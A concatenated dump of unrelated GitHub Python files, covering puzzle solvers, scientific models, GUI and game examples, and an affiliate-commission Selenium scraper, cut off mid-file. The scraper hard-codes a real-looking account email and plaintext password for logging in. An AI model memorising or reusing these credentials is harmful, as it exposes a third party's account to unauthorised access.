deleted'}\n","repo_name":"AZensky/Cracking-Leetcode","sub_path":"app/api/user_routes.py","file_name":"user_routes.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"24533023912","text":"input = open(\"input8.txt\").readlines()\n#input = open(\"input8 copy.txt\").readlines()\n\nzero = [0,1,2,4,5,6]\none = [2,5]\ntwo = [0,2,3,4,6]\nthree = [0,2,3,5,6]\nfour = [1,2,3,5]\nfive = [0,1,3,5,6]\nsix = [0,1,3,4,5,6]\nseven = [0,2,5]\neight = [0,1,2,3,4,5,6]\nnine = [0,1,2,3,5,6]\n\nnumbers = [zero, one,two,three,four,five,six,seven,eight,nine]\n\npossibilities = [['a','b','c','d','e','f','g'] for x in range(7)]\n\ndef read_lines(lines):\n return [i.split() for i in lines]\n\ndef update(word, pos, ls):\n for i in ls:\n pos[i] = [value for value in word if value in pos[i]]\n return pos\n\ndef find_key(line, p):\n line = sorted(line[:10], key=len)\n pos = p.copy()\n fivec = ''\n sixc = ''\n for y in line:\n if len(y) == 2:\n pos = update(y,pos, [2,5])\n elif len(y) == 3:\n pos = update(y,pos, [0,2,5])\n elif len(y) == 4:\n pos = update(y,pos, [1,2,3,5])\n elif len(y) == 5:\n fivec += y\n elif len(y) == 6:\n sixc += y\n\n pos = update(list(dict.fromkeys([value for value in fivec if fivec.count(value) == 1])),pos,[1,4])\n pos = update(list(dict.fromkeys([value for value in fivec if fivec.count(value) == 2])),pos,[2,5])\n pos = update(list(dict.fromkeys([value for value in fivec if fivec.count(value) == 3])),pos,[0,3,6])\n pos = update(list(dict.fromkeys([value for value in sixc if sixc.count(value) == 2])),pos,[2,3,4])\n pos = update(list(dict.fromkeys([value for value in sixc if sixc.count(value) == 3])),pos,[0,1,5,6])\n\n for i in range(len(pos)):\n if len(pos[i]) != 1:\n for y in pos[i]:\n if [y] in pos:\n pos[i].remove(y)\n exit\n return pos\n\ndef decode(line,key):\n num = []\n for i in line[11:15]:\n temp = [key.index([y]) for y in i]\n x = numbers.index(sorted(temp))\n num.append(x)\n return int(''.join((map(str,num))))\n\ntotal = 0\nfor i in read_lines(input):\n k = find_key(i, possibilities)\n total += decode(i,k)\n\nprint(total)\n","repo_name":"AtomicPuffin/AOC2021","sub_path":"Day08 PY/AOC2021_8piff.py","file_name":"AOC2021_8piff.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"640643066","text":"'''\nCreated on 14 Jul 2021\n\n@author: Rob Tovey\n'''\nimport numpy as np\nfrom .DynamicPathSelect import midTimePath, bestPath, regularBestPath\nfrom .optimisation_algs import FWFactory1, FWFactory2\n\n\ndef UBrandomDynamicFW(fidelity, OT, nAtoms=1, masses=1, meshsize=1, **kwargs):\n assert not OT.balanced\n\n def get_paths(rho, F, bounds):\n if meshsize < nAtoms:\n paths = np.random.rand(nAtoms, F.T, 3) # random locations and masses\n for i in range(3):\n paths[..., i] = bounds[0][i] + paths[..., i] * (bounds[1][i] - bounds[0][i])\n else:\n mesh = np.random.rand(F.T, meshsize, 2)\n for i in range(2):\n mesh[..., i] = bounds[0][1 + i] + mesh[..., i] * (bounds[1][1 + i] - bounds[0][1 + i])\n H = np.random.rand(F.T, masses) if masses > 0 else np.ones((F.T, 1))\n H = bounds[0][0] + H * (bounds[1][0] - bounds[0][0])\n # paths = bestPath(F(x=mesh), mesh, OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms)\n paths = midTimePath(bestPath, F(x=mesh), mesh,\n OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms)\n return paths.reshape(nAtoms, -1)\n\n return FWFactory2(*FWFactory1(fidelity, OT, get_paths, **kwargs))\n\n\ndef UBuniformDynamicFW(fidelity, OT, nAtoms=1, masses=1, levels=1, maxlevel=7, **kwargs):\n assert not OT.balanced\n pms = {'levels': levels, 'maxlevel': maxlevel, 'stepped': False, 'level_its':0}\n\n def get_paths(rho, F, bounds):\n mesh = np.meshgrid(*[np.linspace(bounds[0][i], bounds[1][i], 2 ** pms['levels'] + 1)\n for i in range(1, 3)], indexing='ij')\n mesh = np.concatenate([m[:,:, None] for m in mesh], axis=2)\n H = np.linspace(bounds[0][0], bounds[1][0], masses + 1) if masses > 0 else np.array([1], dtype='float64')\n # return regularBestPath(F(x=mesh.reshape(-1, 2)), mesh, OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms, vel=OT.velocity)\n return midTimePath(regularBestPath, F(x=mesh.reshape(-1, 2)), mesh, OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms, vel=OT.velocity)\n\n return FWFactory2(*FWFactory1(fidelity, OT, get_paths, pms=pms, **kwargs))\n\n\ndef UBuniformRadiusDynamicFW(fidelity, OT, nAtoms=1, masses=1, levels=1, maxvel=None, **kwargs):\n assert not OT.balanced\n N = 2 ** levels\n maxvel = OT.velocity if maxvel is None else maxvel\n pms = {'levels': 2, 'maxlevel': np.inf, 'stepped': False, 'level_its':0}\n # starting with levels=2 allows maximum velocity of roughly 2^2 pixels per frame\n\n def get_paths(rho, F, bounds):\n # velocity of 1 pixel per time interval:\n pxps = max(bounds[1][i] - bounds[0][i] for i in range(1, 3)) / (N * (OT.T[1] - OT.T[0]))\n vel = min(maxvel, pxps * 2 ** pms['levels'])\n pms['maxlevel'] = np.ceil(np.log2(min(maxvel / pxps, N)))\n # a stupid check if the initial level parameter is too large\n pms['levels'] = min(pms['levels'], pms['maxlevel'])\n\n mesh = np.meshgrid(*[np.linspace(bounds[0][i], bounds[1][i], N + 1)\n for i in range(1, 3)], indexing='ij')\n mesh = np.concatenate([m[:,:, None] for m in mesh], axis=2)\n H = np.linspace(bounds[0][0], bounds[1][0], masses + 1) if masses > 0 else np.array([1], dtype='float64')\n # return regularBestPath(F(x=mesh.reshape(-1, 2)), mesh, OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms, vel=vel)\n return midTimePath(regularBestPath, F(x=mesh.reshape(-1, 2)), mesh, OT.kernel[2], rho.T, masses=H, nAtoms=nAtoms, vel=vel)\n\n return FWFactory2(*FWFactory1(fidelity, OT, get_paths, pms=pms, **kwargs))\n\n\nif __name__ == '__main__':\n from .utils import MovieMaker\n from .dynamicModelsBin import example, save\n problem, RECORD, ALGS = 2, False, (1,)\n\n fidelity, OT, GroundTruth = example(problem, balanced=False)\n dim = 2\n\n for alg in ALGS:\n for nAtoms in [1]:\n if alg == 1:\n for meshsize in [(10, 10)]:\n M = meshsize[0] ** 2, meshsize[1]\n iters = (100 if problem == 2 else 10)\n record = '2D_UB%d_%d_%d_%d' % ((problem, nAtoms) + meshsize) if RECORD else None\n mv = MovieMaker(filename=record, fps=5, dummy=record is None)\n np.random.seed(100)\n recon, cback = UBrandomDynamicFW(fidelity, OT, constraint=10, GT=GroundTruth,\n nAtoms=nAtoms, meshsize=M[0], masses=M[1], iters=iters, mv=mv)\n\n if RECORD:\n save(record, DM=recon, CB=cback)\n print(GroundTruth.norm(), recon.norm())\n print('\\nFinal energies', OT(GroundTruth), cback.E[:, 1].min(), '\\n')\n\n elif alg == 2:\n iters = (100 if problem == 2 else 10)\n record = '2D_uniformUB%d_%d' % (problem, nAtoms) if RECORD else None\n mv = MovieMaker(filename=record, fps=min(5, int(np.ceil(iters / 10))), dummy=record is None)\n np.random.seed(100)\n recon, cback = UBuniformDynamicFW(fidelity, OT, masses=10, constraint=10, GT=GroundTruth,\n nAtoms=nAtoms, levels=3, maxlevel=7, iters=iters, mv=mv, doPlot=True)\n\n if RECORD:\n save(record, DM=recon, CB=cback)\n print('\\nFinal energies', OT(GroundTruth), cback.E[:, 1].min(), '\\n')\n\n# from matplotlib.pyplot import show; show()\n\n print('\\n\\nfinished')\n","repo_name":"robtovey/2022dynamicIPmicroscopy","sub_path":"code/sparseDynamicRecon/unbalanced_FW.py","file_name":"unbalanced_FW.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72932989202","text":"from typing import Any, Union\n\nimport xarray as xr\nimport astropy.units as u\n\n\nclass QuantityArray(xr.DataArray):\n\n __slots__ = (\n \"_cache\",\n \"_coords\",\n \"_close\",\n \"_indexes\",\n \"_name\",\n \"_variable\",\n \"_unit\",\n )\n\n def __init__(self, *args, **kwargs):\n try:\n self._unit = u.Unit(kwargs.pop(\"unit\"))\n except KeyError:\n self._unit = None\n super().__init__(*args, **kwargs)\n\n @property\n def unit(self) -> u.Unit:\n return self._unit\n\n @unit.setter\n def unit(self, new_unit: Union[str, u.Unit]) -> None:\n self._unit = u.Unit(new_unit)\n\n # override\n @property\n def data(self) -> Any:\n if self._unit:\n return self.variable.data << self._unit\n return self.variable.data\n\n # override\n @data.setter\n def data(self, value: Any) -> None:\n self.variable.data = value\n if isinstance(value, u.Quantity):\n self._unit = value.unit\n","repo_name":"KaoruNishikawa/xarray-quantity","sub_path":"xarray_quantity/quantity_array.py","file_name":"quantity_array.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"24871632974","text":"from model import *\n\n# -------------------\n# Blocking Design \n# -------------------\n# Define the model\nexperiment = Model_Rescorla_Wagner(experiment_name=\"Blocking\", lambda_US=1, beta_US=0.5)\n\n# Define the predictors\nA = Predictor(name='A', alpha = 0.2)\nB = Predictor(name='B',alpha = 0.2)\nC = Predictor(name='C',alpha = 0.2)\n\n# Define the experiment groups\nexperiment_group = Group(name=\"Experiment Group\")\nexperiment_group.add_phase_for_group(phase_name='Conditioning', predictors=[A], outcome=True, number_of_trial=10)\nexperiment_group.add_phase_for_group(phase_name='Blocking', predictors=[A,B], outcome=True, number_of_trial=10)\nexperiment.add_group(experiment_group)\n\ncontrol_group = Group(name=\"Control Group\")\ncontrol_group.add_phase_for_group(phase_name='Conditioning', predictors=[C], outcome=True, number_of_trial=10)\ncontrol_group.add_phase_for_group(phase_name='Blocking', predictors=[A,B], outcome=True, number_of_trial=10)\nexperiment.add_group(control_group)\n\n# Run the model\nexperiment.model_run()\nexperiment.display_results(save_to_file=True)","repo_name":"cekicbaris/inm703","sub_path":"experiment_blocking.py","file_name":"experiment_blocking.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12094953582","text":"import binascii\n\nfrom backend.bc_utils.crypto_hash import crypto_hash\nHEX_TO_BINARY_TABLE={\n'0':'0000', \n'1':'0001', \n'2':'0010',\n'3':'0011',\n'4': '0100',\n'5': '0101', \n'6':'0110', \n'7': '0111',\n'8': '1000',\n'9': '1001',\n'a': '1010',\n'b': '1011', \n'c': '1100',\n'd': '1101',\n'e': '1110',\n'f': '1111'}\n\ndef hex_to_binary(hex_str):\n hex_str = hex_str[2:]\n bin_str = ''\n\n for chr in hex_str:\n bin_str += HEX_TO_BINARY_TABLE[chr]\n \n return bin_str\n\ndef main():\n number = 105\n hexx = hex(number)\n hexx = '0x1bfd2146'\n print(hexx)\n print(hex_to_binary(hexx),'\\n')\n res = \"{0:08b}\".format(int(hexx, 16))\n print(res)\n res = int(res,16)\n\n print(res)\n\n hex_crypto = hex_to_binary(crypto_hash('test-data'))\n print(f'binary_hash: {hex_crypto}')\n\nif __name__ == '__main__':\n main()","repo_name":"ilkeratik/Blockchain-Learning","sub_path":"backend/bc_utils/hex_to_binary.py","file_name":"hex_to_binary.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11653252803","text":"import pygame\n\n# Global settings\nclass Settings:\n width=600\n height=600\n startOffset=50\n fps=120\nclass Graphics:\n Blue=(0, 128, 255)\n Orange=(255, 100, 0)\n Yellow=(255,255,0)\n Black=(0,0,0)\nclass Game:\n over=False\n\n\n# Classes and functions\nclass Player:\n def __init__(self, name, colour, x, y):\n self.name = name\n self.colour = colour\n self.x = x\n self.y = y\n self.isAlive = True \n\ndef init():\n pygame.init()\n Graphics.font = pygame.font.SysFont(\"monospace\", 15)\n Graphics.screen = pygame.display.set_mode((Settings.width, Settings.height))\n Graphics.clock = pygame.time.Clock()\n resetPlayers()\n\ndef resetPlayers():\n Game.p1 = Player(\"Player 1\", Graphics.Blue, Settings.startOffset, Settings.startOffset)\n Game.p2 = Player(\"Player 2\", Graphics.Orange, Settings.width-Settings.startOffset, Settings.height-Settings.startOffset)\n\ndef runGame():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n Game.over = True\n\n pressed = pygame.key.get_pressed()\n if pressed[pygame.K_UP]:\n Game.p1.y -= 1\n if pressed[pygame.K_DOWN]:\n Game.p1.y += 1\n if pressed[pygame.K_LEFT]:\n Game.p1.x -= 1\n if pressed[pygame.K_RIGHT]:\n Game.p1.x += 1\n\n if pressed[pygame.K_s]:\n Game.p2.y -= 1\n if pressed[pygame.K_x]:\n Game.p2.y += 1\n if pressed[pygame.K_z]:\n Game.p2.x -= 1\n if pressed[pygame.K_c]:\n Game.p2.x += 1\n\n if isDead(Game.p1): \n kill(Game.p1)\n\n if isDead(Game.p2):\n kill(Game.p2)\n\n Graphics.screen.set_at((Game.p1.x, Game.p1.y), Game.p1.colour)\n Graphics.screen.set_at((Game.p2.x, Game.p2.y), Game.p2.colour)\n pygame.display.update()\n Graphics.clock.tick(Settings.fps)\n\ndef isDead(player):\n if player.x > Settings.width:\n return True\n if player.x < 0:\n return True\n if player.y > Settings.height:\n return True\n if player.y < 0:\n return True\n return False\n\ndef kill(player):\n player.isAlive = False\n endGame();\n\ndef endGame():\n winnerText = \" Wins!\"\n if(Game.p1.isAlive):\n winnerText = Game.p1.name + winnerText\n elif(Game.p2.isAlive):\n winnerText = Game.p2.name + winnerText \n gameOverLabel = Graphics.font.render(winnerText, 1, Graphics.Yellow)\n Graphics.screen.blit(gameOverLabel, (Settings.width/2 - 30, Settings.height/2))\n pygame.display.update()\n promptPlayAgain()\n\ndef promptPlayAgain():\n isChoosingPlayAgain = True;\n while isChoosingPlayAgain:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n Game.over = True\n isChoosingPlayAgain = False;\n elif event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE:\n Graphics.screen.fill(Graphics.Black)\n pygame.display.update()\n Graphics.clock.tick(60)\n resetPlayers()\n isChoosingPlayAgain = False;\n\n# Main game loop\ninit()\nwhile not Game.over:\n runGame()\n","repo_name":"steviehailey-skyscanner/raspberry-pi-tron","sub_path":"tron-v4.py","file_name":"tron-v4.py","file_ext":"py","file_size_in_byte":2819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13612083906","text":"students2 = []\nwith open(\"students.csv\") as file:\n for line in file:\n name, house = line.rstrip().split(\",\")\n student={\"name\":name, \"house\":house}\n students2.append(student)\n\n#A dictionary is sorted using a key\nfor student in sorted(students2,key = lambda student:student[\"name\"]):\n print(f\"{student['name']} is in {student['house']}\")\n\n#lambda is an anonymous function (no need to create a seperate function to sort the dictionary) \n\n\n\n\n\n# import csv\n# students = []\n# with open(\"students.csv\") as file:\n# reader = csv.reader(file)\n# for name,home in reader:\n# students.append({\"name\":name,\"home\":home})\n\n# for student in sorted(students, key=lambda student: student[\"name\"]):\n# print(f\"{student['name']} is from {student['home']}\")\n","repo_name":"starshooter12345/Harvard-python","sub_path":"students2.py","file_name":"students2.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29236432420","text":"from analyst.proto.data_frame_pb2 import DataFrame\nfrom analyst.proto.frame_config_pb2 import FrameConfig\nfrom analyst.proto.data_point_pb2 import L2_ORDER_BOOK\nfrom analyst.price_util import get_price_from_order_book\n\n\ndef vectorize_fx_rate_label(data_frame: DataFrame, frame_config: FrameConfig):\n label_price = float(data_frame.label.value_decimal)\n if not frame_config.label_config.fx_rate_config.label_direction_only:\n return label_price\n\n final_input_price = get_final_input_price(data_frame)\n if final_input_price is None:\n return None\n\n if label_price >= ((1 + frame_config.label_config.fx_rate_config.movement_minimum_percent_change)\n * final_input_price):\n return 1\n elif label_price > ((1 - frame_config.label_config.fx_rate_config.movement_minimum_percent_change)\n * final_input_price):\n return 0\n else:\n return -1\n\n\n\ndef get_final_input_price(data_frame: DataFrame):\n for component in data_frame.components:\n if component.data_point_type == L2_ORDER_BOOK:\n return get_price_from_order_book(component.data[-1])\n return None\n","repo_name":"cairn-labs/njord","sub_path":"analyst/vectorization/fx_rate_label_vectorization.py","file_name":"fx_rate_label_vectorization.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17577055134","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 22 15:12:06 2019\r\n\r\n@author: pchi893\r\n\"\"\"\r\n# Converted to openseespy by: Pavan Chigullapally \r\n# University of Auckland \r\n# Email: pchi893@aucklanduni.ac.nz \r\n# Example 3. 2D Cantilever -- EQ ground motion\r\n#To run Uniaxial Inelastic Material, Fiber Section, Nonlinear Mode, Uniform Earthquake Excitation:First import the InelasticFiberSection.py(upto gravity loading is already in this script)\r\n#and run the current script\r\n#To run EQ ground-motion analysis (BM68elc.acc needs to be downloaded into the same directory)\r\n# Same acceleration input at all nodes restrained in specified direction (uniform acceleration input at all support nodes)\r\n#the detailed problem description can be found here: http://opensees.berkeley.edu/wiki/index.php/Examples_Manual (example: 3)\r\n# --------------------------------------------------------------------------------------------------\r\n#\tOpenSees (Tcl) code by:\tSilvia Mazzoni & Frank McKenna, 2006\r\n##########################################################################################################################################################################\r\nimport openseespy.opensees as op\r\n#import the os module\r\n#import os\r\nimport math\r\nop.wipe()\r\n#########################################################################################################################################################################\r\nimport InelasticFiberSection\r\n#applying Dynamic Ground motion analysis\r\nTol = 1e-8\r\nGMdirection = 1\r\nGMfile = 'BM68elc.acc'\r\nGMfact = 1.0\r\nLambda = op.eigen('-fullGenLapack', 1) # eigenvalue mode 1\r\nOmega = math.pow(Lambda, 0.5)\r\nbetaKcomm = 2 * (0.02/Omega)\r\n\r\nxDamp = 0.02\t\t\t\t# 2% damping ratio\r\nalphaM = 0.0\t\t\t\t# M-prop. damping; D = alphaM*M\t\r\nbetaKcurr = 0.0\t\t# K-proportional damping; +beatKcurr*KCurrent\r\nbetaKinit = 0.0 # initial-stiffness proportional damping +beatKinit*Kini\r\n\r\nop.rayleigh(alphaM,betaKcurr, betaKinit, betaKcomm) # RAYLEIGH damping\r\n\r\n# Uniform EXCITATION: acceleration input\r\nIDloadTag = 400\t\t\t# load tag\r\ndt = 0.01\t\t\t# time step for input ground motion\r\nGMfatt = 1.0\t\t\t# data in input file is in g Unifts -- ACCELERATION TH\r\nmaxNumIter = 10\r\nop.timeSeries('Path', 2, '-dt', dt, '-filePath', GMfile, '-factor', GMfact)\r\nop.pattern('UniformExcitation', IDloadTag, GMdirection, '-accel', 2) \r\n\r\nop.wipeAnalysis()\r\nop.constraints('Transformation')\r\nop.numberer('Plain')\r\nop.system('BandGeneral')\r\nop.test('EnergyIncr', Tol, maxNumIter)\r\nop.algorithm('ModifiedNewton')\r\n\r\nNewmarkGamma = 0.5\r\nNewmarkBeta = 0.25\r\nop.integrator('Newmark', NewmarkGamma, NewmarkBeta)\r\nop.analysis('Transient')\r\n\r\nDtAnalysis = 0.01 # time-step Dt for lateral analysis\r\nTmaxAnalysis = 10.0 # maximum duration of ground-motion analysis\r\n\r\nNsteps = int(TmaxAnalysis/ DtAnalysis)\r\n\r\nok = op.analyze(Nsteps, DtAnalysis)\r\n\r\ntCurrent = op.getTime()\r\n\r\n# for gravity analysis, load control is fine, 0.1 is the load factor increment (http://opensees.berkeley.edu/wiki/index.php/Load_Control)\r\n\r\ntest = {1:'NormDispIncr', 2: 'RelativeEnergyIncr', 4: 'RelativeNormUnbalance',5: 'RelativeNormDispIncr', 6: 'NormUnbalance'}\r\nalgorithm = {1:'KrylovNewton', 2: 'SecantNewton' , 4: 'RaphsonNewton',5: 'PeriodicNewton', 6: 'BFGS', 7: 'Broyden', 8: 'NewtonLineSearch'}\r\n\r\nfor i in test:\r\n for j in algorithm:\r\n\r\n if ok != 0:\r\n if j < 4:\r\n op.algorithm(algorithm[j], '-initial')\r\n \r\n else:\r\n op.algorithm(algorithm[j])\r\n \r\n op.test(test[i], Tol, 1000)\r\n ok = op.analyze(Nsteps, DtAnalysis) \r\n print(test[i], algorithm[j], ok) \r\n if ok == 0:\r\n break\r\n else:\r\n continue\r\n\r\nu2 = op.nodeDisp(2, 1)\r\nprint(\"u2 = \", u2)\r\n\r\nop.wipe()","repo_name":"zhuminjie/OpenSeesPyDoc","sub_path":"pyExamples/EarthquakeExamples/Example3/Example3.py","file_name":"Example3.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"3"} +{"seq_id":"38176203662","text":"from scipy.stats import gengamma\nimport random\n\n\n# Josefine Asmus, Christian L. Mueller and Ivo F. Sbalzarini. Lp-Adaptation: Simultaneous Design Centering and Robustness Estimation of Electronic and Biological Systems — Supplementary Information —\n# Calafiore, G., Dabbene, F. & Tempo, R. Uniform sample generation in l p balls for probabilistic robustness analysis.\n# def uniformFromLPBall():\ndef p_norm(x, p):\n res = sum(map(lambda t: abs(t) ** p, x))\n return res ** (1 / p)\n\n\ndef uniform_from_p_ball(p=1, n=2):\n a, c = 1 / p, p\n # 1. Sample n real scalars i.i.d. from the generalized Gamma distribution ξi ∼ G ̃ ( 1 , p). p\n r = gengamma.rvs(a, c, size=n)\n signs = random.choices([1, -1], k=n)\n # 2. Construct a vector x ∈ Rn with components xi = siξi, where si are independent uniformly random signs.\n vec = r * signs\n # 3. Compute z = w1/n, where w is a random variable uniformly distributed in the interval [0,1].\n z = random.random() ** (1 / n)\n y = z * 1 / p_norm(vec, p) * vec\n # 4. Return y = z x , where ∥x∥p = (∑n |xi|p)1/p.\n return y\n\n\nif __name__ == \"__main__\":\n x = []\n y = []\n z = []\n total_nontrivial = 0\n for i in range(1000):\n vec = uniform_from_p_ball(p=1, n=2)\n x.append(vec[0])\n y.append(vec[1])\n if vec[0] > 0.5 or vec[1] > 0.5:\n total_nontrivial += 1\n if len(vec) > 2:\n z.append(vec[2])\n\n import matplotlib.pyplot as plt\n\n # if len(z) == 0:\n # plt.scatter(x,y)\n # else:\n # from mpl_toolkits.mplot3d import Axes3D\n # fig = plt.figure()\n # ax = fig.add_subplot(111, projection='3d')\n # ax.scatter(x,y,z)\n # plt.show()\n\n norms = []\n for i in range(1000):\n vec = uniform_from_p_ball(p=1, n=8)\n norms.append(p_norm(vec, 1))\n\n plt.boxplot(norms)\n plt.show()\n","repo_name":"tud-ccc/mocasin","sub_path":"mocasin/util/random_distributions/lp.py","file_name":"lp.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"72264387281","text":"import logging\n\nCLIENT_LOG = logging.getLogger('client.app')\nCLIENT_LOG.setLevel(logging.DEBUG)\n\nFORMATTER = logging.Formatter('%(asctime)s %(levelname)-9s %(module)s %(message)s')\nSTREAM_FORMAT = logging.Formatter('%(module)s: %(message)s')\n\nSTREAM_HANDLER = logging.StreamHandler()\nSTREAM_HANDLER.setFormatter(STREAM_FORMAT)\nSTREAM_HANDLER.setLevel(logging.CRITICAL)\n\nFILE_HANDLER = logging.FileHandler('lesson8/client.app.log', encoding='utf-8')\nFILE_HANDLER.setFormatter(FORMATTER)\nFILE_HANDLER.setLevel(logging.DEBUG)\n\nCLIENT_LOG.addHandler(FILE_HANDLER)\nCLIENT_LOG.addHandler(STREAM_HANDLER)\nCLIENT_LOG.setLevel(logging.DEBUG)\n","repo_name":"cyber-welder/client-server","sub_path":"lesson8/loggers/client_log_config.py","file_name":"client_log_config.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20236539770","text":"import sys\nfrom PyQt5.QtWidgets import ( QWidget, QMainWindow, QLabel,QApplication,\n QPushButton, QHBoxLayout, QVBoxLayout )\n\nclass LayoutExample2(QMainWindow):\n\n def __init__(self):\n super().__init__()\n\n # 사용한 위젯들을 생성\n lbl1 = QLabel('This is') #<---- 1\n lbl2 = QLabel('Layout Example')\n\n okButton = QPushButton(\"OK\") \n cancelButton = QPushButton(\"Cancel\")\n\n hbox = QHBoxLayout() #<---- 2\n hbox.addStretch(1) #<---- 3\n hbox.addWidget(okButton) #<---- 4\n hbox.addWidget(cancelButton) #<---- 5\n\n vbox = QVBoxLayout() #<---- 6\n vbox.addWidget(lbl1) #<---- 7\n vbox.addWidget(lbl2) #<---- 8\n vbox.addLayout(hbox) #<---- 9\n\n window = QWidget() #<---- 10\n window.setLayout(vbox) #<---- 11\n self.setCentralWidget(window) #<---- 12\n\n self.setGeometry(300, 300, 300, 150)\n self.setWindowTitle('Layout Example') \n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = LayoutExample2()\n sys.exit(app.exec_())\n","repo_name":"jinniahn/book_python_example","sub_path":"ch09/05_layout.py","file_name":"05_layout.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"74082197522","text":"\nimport time\nimport datetime as dt\nimport pandas as pd\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait, Select\nimport base64\nfrom PIL import Image\n\n\n\n\n\ndef init_driver():\n driver = webdriver.Chrome()\n driver.maximize_window()\n driver.wait = WebDriverWait(driver, 3)\n return driver\n\n\ndef get_captcha(driver, element, path):\n # now that we have the preliminary stuff out of the way time to get that image :D\n location = element.location\n size = element.size\n # saves screenshot of entire page\n driver.save_screenshot(path)\n\n # uses PIL library to open image in memory\n image = Image.open(path)\n\n left = location['x']\n top = location['y'] + 140\n right = location['x'] + size['width']\n bottom = location['y'] + size['height'] + 140\n\n image = image.crop((left, top, right, bottom)) # defines crop points\n #image.save(path, 'jpeg') # saves new cropped image\n return image\n\n\ndef lookup_commissions(driver, sd, ed):\n # Log in first\n driver.get('https://www.affiliatly.com/af-1013747/affiliate.panel')\n\n user = driver.find_element_by_xpath(\"//input[@id='exampleInputEmail1']\")\n user.clear()\n user.send_keys(\"mwolla@verticalscope.com\")\n password = driver.find_element_by_xpath(\"//input[@id='exampleInputPassword1']\")\n password.clear()\n password.send_keys(\"Vscope700!!\")\n\n driver.find_element_by_xpath(\"//button[@name='login']\").click()\n time.sleep(3)\n\n # date picker\n datepicker_from = driver.find_element_by_xpath(\"//input[@name='date_from']\")\n driver.execute_script(\"arguments[0].value='\"+sd+\"';\", datepicker_from)\n print('from', datepicker_from.get_attribute('value'))\n\n datepicker_to = driver.find_element_by_xpath(\"//input[@name='date_to']\")\n driver.execute_script(\"arguments[0].value='\"+ed+\"';\", datepicker_to)\n print('now', datepicker_to.get_attribute('value'))\n\n # Go to conversions\n driver.find_element_by_xpath(\"//button[@class='btn btn-success show_summary_data']\").click()\n\n # now get conversion data\n post_dict = {'date':[], 'visitors': [], 'order': [], 'price':[], 'earnings': [], 'conversions':[]}\n\n rows = driver.find_element_by_xpath('//div[@class=\"table_responsive_holder\"]').find_elements_by_tag_name('tr')\n cols = driver.find_element_by_xpath('//div[@class=\"table_responsive_holder\"]').find_elements_by_tag_name('td')\n print('here', rows[1].find_elements_by_tag_name('td')[0].text)\n\n for i in range(1,len(rows)):\n #print(rows[i].text)\n #print('here', rows[i].find_elements_by_tag_name('td')[0].text)\n if 'Totals' not in rows[i].text:\n post_dict['date'].append(rows[i].find_elements_by_tag_name('td')[0].text)\n post_dict['visitors'].append(rows[i].find_elements_by_tag_name('td')[1].text)\n post_dict['order'].append(rows[i].find_elements_by_tag_name('td')[2].text)\n post_dict['price'].append(rows[i].find_elements_by_tag_name('td')[3].text)\n post_dict['earnings'].append(rows[i].find_elements_by_tag_name('td')[4].text)\n post_dict['conversions'].append(rows[i].find_elements_by_tag_name('td')[5].text)\n\n print(post_dict)\n\n return post_dict\n\n\n\ndef process_df(post_dict):\n post_dict['date'] = post_dict.date.apply(lambda x:pd.to_datetime(x, format='%d.%m.%Y'))\n post_dict['price'] = post_dict['price'].str.replace('$', '')\n post_dict['price'] = post_dict['price'].astype(float)\n post_dict['earnings'] = post_dict['earnings'].str.replace('$', '')\n post_dict['earnings'] = post_dict['earnings'].astype(float)\n\n return post_dict\n\n\n\nif __name__ == '__main__':\n driver = init_driver()\n ed = (dt.datetime.now() - dt.timedelta(days=1))\n sd = (ed - dt.timedelta(days=65)).strftime('%d.%m.%Y')\n ed = ed.strftime('%d.%m.%Y')\n\n print('sd', sd)\n print('ed', ed)\n order_data = lookup_commissions(driver, sd, ed)\n order_data['site'] = 'thesleepjudge.com'\n print(order_data)\n\n order_data = pd.DataFrame.from_dict(order_data)\n order_data = process_df(order_data)\n sorted_order = order_data.sort_values('date', ascending=False)\n\n order_data.to_csv('commission.csv')\n\n driver.close()\n","repo_name":"jehung/web_scrapping","sub_path":"scrapping_acousticsleep_rev.py","file_name":"scrapping_acousticsleep_rev.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74077606800","text":"import asyncio\nimport inspect\nfrom dataclasses import asdict\nfrom typing import Callable, 